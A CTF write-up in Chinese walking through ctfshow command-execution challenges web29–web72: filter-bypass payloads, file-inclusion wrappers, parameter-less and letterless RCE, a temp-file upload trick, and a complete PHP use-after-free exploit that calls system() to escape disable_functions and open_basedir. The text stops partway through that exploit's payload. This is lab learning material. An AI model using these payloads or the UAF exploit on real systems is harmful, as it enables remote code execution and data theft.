Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中

Ctfshow 命令执行 web29

pregmatch是正则匹配函数,匹配是否包含flag,if(!preg_match("/flag/i", $c))/i忽略大小写

可以利用system来间接执行系统命令

flag采用f*绕过,或者mv fl?g.php 1.txt修改文件名,或者cat 反引号ls反引号

linux通配符:https://www.cnblogs.com/ysuwangqiang/p/11364173.html

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第1张图片

img

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第2张图片

Ctfshow 命令执行 web30

多了对system和php的过滤

*绕过和passthru

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第3张图片

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第4张图片

Ctfshow 命令执行 web31

过滤flag system php cat sort shell . 空格 '

过滤了空格,可以使用%09替代;也可以使用{$IFS}或者$IFS$1

传参如下:

?c=passthru("tac%09fla*");

img

Ctfshow 命令执行 web32

过滤flag system php cat sort shell . 空格 ' 反引号 echo

之前的方法都没有用了。无所谓,文件包含会出手。

https://www.cnblogs.com/endust/p/11804767.html

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

img

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第5张图片

Ctfshow 命令执行 web33

又加了("的过滤,没事,文件包含还能出手。

Payload:

?c=include$_GET[a]?>&a=data://text/plain,

img

此外,这里日志包含也是可行的。

Ctfshow 命令执行 web34

好的这下:也被过滤了。没事,文件包含还能出手。

Payload:

?c=include$_GET[a]?>&a=data://text/plain,

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第6张图片

Ctfshow 命令执行 web35

<=也被过滤了,没关系,文件包含还能出手

Payload:

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第7张图片

Ctfshow 命令执行 web36

加了对/数字0-9的过滤,还是文件包含,一样的payload。

img

Ctfshow 命令执行 web37

好家伙直接给我文件包含了是吧

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第8张图片Payload: (采用了base64编码绕过过滤)

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==       

//()

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第9张图片

Ctfshow 命令执行 web38

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第10张图片

Payload不变。

img

Ctfshow 命令执行 web39

虽然强加了后缀,但是不影响。因为?>已经闭合PHP语句了。

?c=data://text/plain,

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第11张图片Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第12张图片

Ctfshow 命令执行 web40

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第13张图片

过滤了很多东西。只有空格,分号,英文括号还可以用。

看了一下wp(https://blog.csdn.net/Kracxi/article/details/121041140),果然无能为力。这题考察无参RCE。

两种payload。

?c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fl*');

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第14张图片

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第15张图片

以下是我解题过程中学习整理的关于无参RCE的函数实操等。(部分借鉴付劲远师傅的web思维导图)

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第16张图片

除了无参RCE,还有个利用session的方法。

payload:

?c=session_start();system(session_id());

session_id(PHPSESSID)就是要执行的命令。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第17张图片

但是这个方法有个弊端,命令不能有空格,因为cookie不解析空格。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第18张图片

Ctfshow 命令执行 web41

无字母数字rce原理:利用各种非数字字母的字符,经过各种变换(异或、取反、自增),构造出单个的字母字符,然后把单个字符拼接成一个函数名,比如说system,然后就可以动态执行了。所以说这里的核心就是非字母的字符换成字母字符。(https://www.cnblogs.com/pursue-security/p/15404150.html)

代码审计,没有过滤或(|)。跑个脚本吧(脚本小子就是我了)

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第19张图片

查看目录。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第20张图片Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第21张图片

Ctfshow 命令执行 web42

先看源码,一个新东西>/dev/null 2>&1

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第22张图片

含义:

1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,不显示任何信息。

> 代表重定向到哪里,例如:echo “123” > /home/123.txt

1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于"1>/dev/null"

2 表示stderr标准错误

& 表示等同于的意思,2>&1,表示2的输出重定向等同于1

绕过方法就是在命令后面加截断命令 ; %0a%26(&) ||。具体原理就是重定向也是命令的一部分。比如说 命令1;命令2 1>/dev/null就是执行了命令1命令2 1>/dev/null,虽然命令2被重定向了,但是命令1没有。

imgimg

Ctfshow 命令执行 web43

过滤了分隔符;那可以换成别的分隔符。对cat的过滤可以用tac,nl替代,或者用各种转义符\'"

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第23张图片

Payload:

?c=tac flag.php%26

img

Ctfshow 命令执行 web44

加了一个对flag的过滤,我们用转义符绕过。

image-20230816212559903

Payload:

?c=nl%20fl\ag.php||

Ctfshow 命令执行 web45

加了对空格的过滤,用%09代替。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第24张图片

Payload:

?c=tac%09fla*||

Ctfshow 命令执行 web46

2023.8.16时隔半年,强迫症迫使我把基础给算完。

增加了对数字*$的过滤,空格可以用<>或者<或者%09代替(%09是URL编码,不是数字),过滤了通配符*但是?也不能用了,所以flag用转义符\或者''

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第25张图片

payload:

?c=nl

发现一个奇怪的payload:这里通配符?又可以用了,弄得我满脸问号?????后来去查了一下,是因为**<?不能同时用**,上面的payload改成c=tac%09fla?.php||就好啦

?c=awk%09'/f/'%09fla?.php||

等价于?c=awk%09'/f/{print}'%09fla?.php||

img

确实能用,解释一下。这个payload就是输出flag.php文件中包含字符串f的行。

如果我们把f换成ctfshow,那就只输出flag了。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第26张图片

参考文章:

https://blog.csdn.net/Dark_Tk/article/details/114844529

Ctfshow 命令执行 web47

又多过滤了一些命令执行函数more less head sort tail。但是没过滤我最喜欢的tacnlawk

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第27张图片

payload不变:

?c=nl

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第28张图片

Ctfshow 命令执行 web48

再多过滤了一些命令执行函数sed cut awk strings od curl反引号。但是没过滤我最喜欢的tacnl

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第29张图片

payload不变:

?c=nl

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第30张图片

Ctfshow 命令执行 web49

多过滤了百分号%,对我的payload没影响,我空格是用<绕过的。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第31张图片

payload不变:

?c=nl

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第32张图片

Ctfshow 命令执行 web50

多过滤了\x09(水平制表符tab)和\x26(&),对我的payload没影响。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第33张图片

payload不变:

?c=nl

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第34张图片

Ctfshow 命令执行 web51

多过滤了tac,payload还有一个能用。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第35张图片

payload不变:

?c=nl

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第36张图片# Ctfshow 命令执行 web52

多过滤了<>,但是没过滤$,上题payload把空格用$IFS或者${IFS}绕过就行。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第37张图片

payload:

?c=nl$IFS/fla''g||        //flag在根目录
?c=nl${IFS}/fla''g|| 
?c=ta''c$IFS/fla''g||        
?c=c''at${IFS}/fla''g|| 

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第38张图片

Ctfshow 命令执行 web53

过滤不变,这次也没有重定向了。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第39张图片

payload:

?c=nl${IFS}????.???
?c=nl$IFSfla''g.php||   
?c=nl${IFS}fla''g.php|| 
?c=ta''c$IFSfla''g.php||        
?c=c''at${IFS}fla''g.php|| 

image-20230817195553225

Ctfshow 命令执行 web54

这次过滤的有点猛。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第40张图片

除了符号反引号\x09\x26%<>*之外,cat flag more wget less head sort tail sed cut tac awk strings od curl nl scp rm也被过滤了,而且无法使用转义符绕过。

用别的命令读取flag

?c=uniq${IFS}f???????

?c=grep${IFS}'tf'${IFS}fl???php
(在 fl???php匹配到的文件中,查找含有tf的文件,并打印出包含 tf 的这一行,好奇怪,这里只有tf、sh、ow、{、}能找出flag)

使用文件执行命令+通配符绕过过滤(注意,这里ca?${IFS}f???是不可以的)

/bin这个目录。

binbinary的简写,主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

?c=/bin/ca?${IFS}f???????

复制文件

?c=mv${IFS}fl?g.php${IFS}x.txt

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第41张图片

Ctfshow 命令执行 web55

hint:

https://blog.csdn.net/qq_46091464/article/details/108513145

https://blog.csdn.net/qq_46091464/article/details/108557067

过滤了所有字母反引号\x09\x26%<>。这题考察无字母RCE。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第42张图片

方法一:

使用文件执行命令+通配符绕过过滤

?c=/???/????64 ????.???
//  即/bin/base64 flag.php
//base64这个命令就是将指定的文件的内容以base64加密的形式输出。这个不是通用的,因为base64不是每个机器都有

?c=/???/???/????2 ????.???
//  即/usr/bin/bzip2 flag.php
//把flag.php给压缩,然后访问url+flag.php.bz2就可以把压缩后的flag.php给下载下来。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第43张图片


方法二:

这题是命令执行不是代码执行,不能进行异或/拼接等操作。如果是eval()中内容可控(代码执行)才可以进行异或/拼接等操作,因为识别异或/拼接等操作的是PHP代码不是终端(cmd)。

【强制文件上传下的无字母数字RCE】

这题考PHP强制文件上传机制。

PHP超全局变量如下

$_GET      //存放所有GET请求
$_POST
$_SERVER
$_COOKIE
$_SESSION
$_FILES     //存放所有文件

在PHP中,强制上传文件时,文件会被存在临时文件/tmp/phpxxxxxx

这个文件最后六位xxxxxx有大小写字母、数字组成,生命周期只在PHP代码运行时。

题目中正则匹配过滤了大小写字母(i)和数字。

故我们要匹配/tmp/phpxxxxxx的话可以用通配符/???/?????????

/???/?????????范围太大了,我们如何缩小范围呢。

查看ascii码表,A前面是@,Z后面是[

/???/????????[@-[]就表示了最后一位是大写

当临时文件最后一位是大写字母时/???/????????[@-[]就能匹配到这个文件

linux中 . 代表执行一个文件,相当于source 可以执行sh命令。

如果上传的文件是一个shell脚本,那么. /???/????????[@-[](burp里面空格要写成+或者%20)就能执行这个shell脚本,实现RCE。

如何强制上传文件?

我们可以在vps上写一个表单文件

upload.html

<form action="http://6741a41b-173c-4a20-9a15-be885b3344de.challenges.ctfer.com:8080/" enctype="multipart/form-data" method="post" >
    
    <input name="file" type="file" />
    <input type="submit" type="gogogo!" />
   
form>

访问vps上的upload.html

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第44张图片

上传内容为whoamitxt文件。同时抓包。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第45张图片

改一下包。发现能正常执行了,并且返回了结果。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第46张图片

获得flag。(成功的概率,就是最后一位是大写的概率是26/26+26+10,多发几次包就行了)

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第47张图片

Ctfshow 命令执行 web56

这次把数字也过滤了。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第48张图片

和上题一样,PHP强制上传文件机制还是可以使用滴。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第49张图片

Ctfshow 命令执行 web57

这次过滤了很多。过滤了点号.,不能用PHP强制上传文件机制

preg_match("/\;|[a-z]|[0-9]|\反引号|\|\#|\'|\"|\反引号|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第50张图片

题目提示flag in 36.php

关键代码:system("cat ".$c.".php");

我们可控的是$c,根据提示,我们只需要构造出36即可。


先补个前置知识:二进制取反

二进制中第一位为符号位,0代表正数,1代表负数,如 0000 0001+11000 0001-1。同时加上补码原码等相关概念,就可以理解二进制取反。

结论:如对 a 按位取反,则得到的结果为 -(a+1)。36取反是-37-37取反是36

详细请看:https://zhuanlan.zhihu.com/p/261080329


在linux中

${_} 代表上一次命令执行的结果

$(()) 代表做运算,为0

$((~$(()))) 代表~0(0取反)为-1

$((~$(()))) $((~$(()))) $((~$(()))) 代表-1-1-1

$(( $((~$(())))$((~$(())))$((~$(()))) )) 代表-1-1-1做运算就是-3

$((~$(( $((~$(())))$((~$(())))$((~$(()))) )))) 代表-1-1-1做运算后-3取反就是2

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第51张图片

中间37个$((~$(())))就是-37,取反后就是36

$((~$((   $((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))   ))))

payload:

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

flag在源码中。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第52张图片

Ctfshow 命令执行 web58

这题无过滤,但是开始禁用函数了。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第53张图片

一般是先看phpinfo查看被禁用的函数。但是这里phpinfo也被禁用了,只能一个一个尝试。

image-20230818225308349

禁用了phpinfosystemshell_exec

Y4爷博客给了两种读取文件路径方式
c=print_r(scandir(dirname('__FILE__')));(查看根目录:print_r(scandir(‘/’)); )

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

读文件的函数有这些:

file_get_contents()
highlight_file()
show_source()
fgets()
file()
readfile()
fopen()

读文件函数payload:

c=echo file_get_contents('flag.php');

c=echo highlight_file('flag.php');
c=highlight_file("flag.php");

c=show_source('flag.php');

c=
$a=fopen("flag.php","r");
while($b=fgets($a)){
echo $b;
}

//file()函数:把整个文件读入一个数组中
c=print_r(file('flag.php'));
c=var_dump(file('flag.php'));

c=readfile("flag.php");

//一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
//一个一个字符读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}

也可以复制、重命名文件:

copy("flag.php","flag.txt");            
rename("flag.php","flag.txt");  

文件包含直接读取flag:

c=include('flag.php');echo $flag;

c=include($_GET['1']); ?1=php://filter/convert.base64-encode/resource=flag.php

c=include('flag.php');var_dump(get_defined_vars());
//var_dump:输出注册变量
//get_defined_vars():函数返回由所有已定义变量所组成的数组

此外,还能使用无参RCE、日志包含等方法,就不一一列举了。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第54张图片

Ctfshow 命令执行 web59

源码一样,函数多禁用了几个,做法同web58。

Ctfshow 命令执行 web60

源码一样,函数多禁用了几个,做法同web58。

Ctfshow 命令执行 web61

源码一样,函数多禁用了几个,做法同web58。

Ctfshow 命令执行 web62

源码一样,函数多禁用了几个,做法同web58。

Ctfshow 命令执行 web63

源码一样,函数多禁用了几个,做法同web58。

Ctfshow 命令执行 web64

源码一样,函数多禁用了几个,做法同web58。

Ctfshow 命令执行 web65

源码一样,函数多禁用了几个,做法同web58。

Ctfshow 命令执行 web66

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第55张图片

相较于web58,源码一样,但是之前payload都用不了了,仔细一查是flag文件路径变了。

回忆一下Y4爷博客给了两种读取文件路径方式
c=print_r(scandir(dirname('__FILE__')));(查看根目录:print_r(scandir(‘/’)); )

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

我们先看看当前目录:

c=print_r(scandir(dirname('__FILE__')));

确实没有flag。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第56张图片

再看看根目录:

c=print_r(scandir('/'));

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第57张图片

发现flag在根目录flag.txt文件中,那么把之前的payload中的flag.php换成/flag.txt就行了。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第58张图片

Ctfshow 命令执行 web67

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第59张图片

源码还是一样,相较于wen66,过滤了print_r()函数,我们用var_dump()函数替换。flag还是在根目录flag.txt文件中。

看看根目录:

c=var_dump(scandir('/'));

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第60张图片

其他同web66、web58。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第61张图片

Ctfshow 命令执行 web68

又ban了highlight_file()函数,导致我们看不见源码。但是源码还是一样的。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第62张图片

我们还有很多方法。同web67。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第63张图片

Ctfshow 命令执行 web69

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Wt49l3pr-1692463133485)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191458554.png)]

从web58到这里,文件显示的代码,比如show_sourcehighlight_filefile_get_contents等基本都被禁了,但是文件包含一直屹立不倒,还是本篇文章开头那句,无所谓,文件包含会出手

学到这里我发现,从一开始感觉web板块的知识点是一座一座孤岛,到现在有部分知识能融合到一起,算是有所成长吧。

这题把var_dump()函数ban了,可以用var_export()函数替换。

此外,如果scandir()被过滤可以用glob()。用法var_dump(glob('/*'));

看看根目录:

c=var_export(scandir('/'));

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第64张图片

命令执行拿flag。

c=include('/flag.txt');var_export(get_defined_vars());

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5YMZpf6Q-1692463133486)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191503405.png)]

Ctfshow 命令执行 web70

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第65张图片

做法同web69。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第66张图片

Ctfshow 命令执行 web71

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第67张图片

这题附件给了源码,源码如下:



error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

ob_get_contents():得到缓冲区的内容(数据)。
ob_end_clean():会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。
preg_replace("/[0-9]|[a-z]/i","?",$s):把存放缓冲区内容的变量$s的内容都替换为问号。用之前payload发现输出的一大堆问号,就是因为这句话。


方法一:(这个方法目前网上只有我这篇有,雅虎~)

既然eval()函数给了我们执行任意代码的力量,那我们模仿源码,以其人之道还之其人之身。

payload:

c=include("/flag.txt");$ss=ob_get_contents();ob_end_clean();echo $ss;

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第68张图片

方法二:

也可以用exit()/die()提前结束代码,这样就不会将字符替换为问号
playload:

c=include('/flag.txt');var_export(get_defined_vars());exit();
或者
c=include('/flag.txt');var_export(get_defined_vars());die();

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第69张图片

方法三:

其实方法一和方法三原理是一样的,都是手动输出缓冲区。不过这种方法输出的字符肉眼不可识别。。。

c=include("/flag.txt");echo ~ob_get_contents();

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第70张图片

自动化POC:

import requests

url = "http://64fe58eb-5766-484d-b8db-bd1f4b3ab1c2.chall.ctf.show/"

d = {'c': 'include("/flag.txt");echo ~ob_get_contents();'}
s = requests.post(url, d).content



for i in s:
    print(chr(~i&0xff), end='')
    
# 脚本来自群里阿狸师傅

Ctfshow 命令执行 web72

源码不变。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第71张图片

这题flag位置又变了。就像她,是如此的善变。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第72张图片

读目录。

c=var_export(scandir('/'));exit();

发现读不了,有open_basedir配置项限制,把目录限制在了/var/www/html/

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第73张图片

open_basedir配置项在NepNepCTF-2023的Ez_include中也出现过。

我们可以利用glob伪协议glob伪协议在筛选目录时不受open_basedir制约。也就是web58中,Y4师傅给的第二种查看目录的方法。

查看根目录,发现flag在flag0.txt文件中。

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第74张图片

知道了flag文件的位置,接下来就是如何绕过open_basedir制约读取文件,这里大师傅们给了一个脚本:


pwn("命令");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}

脚本中str_repeat()函数被过滤了,我们使用sprintf()函数替换。

Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中_第75张图片


payload需要根据需要闭合源码修改命令URL编码(本篇wp中是未编码的)。

c=?><?php
pwn("tac /flag0.txt");
 
function pwn($cmd) {
    global $abc, $helper, $backtrace;
    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
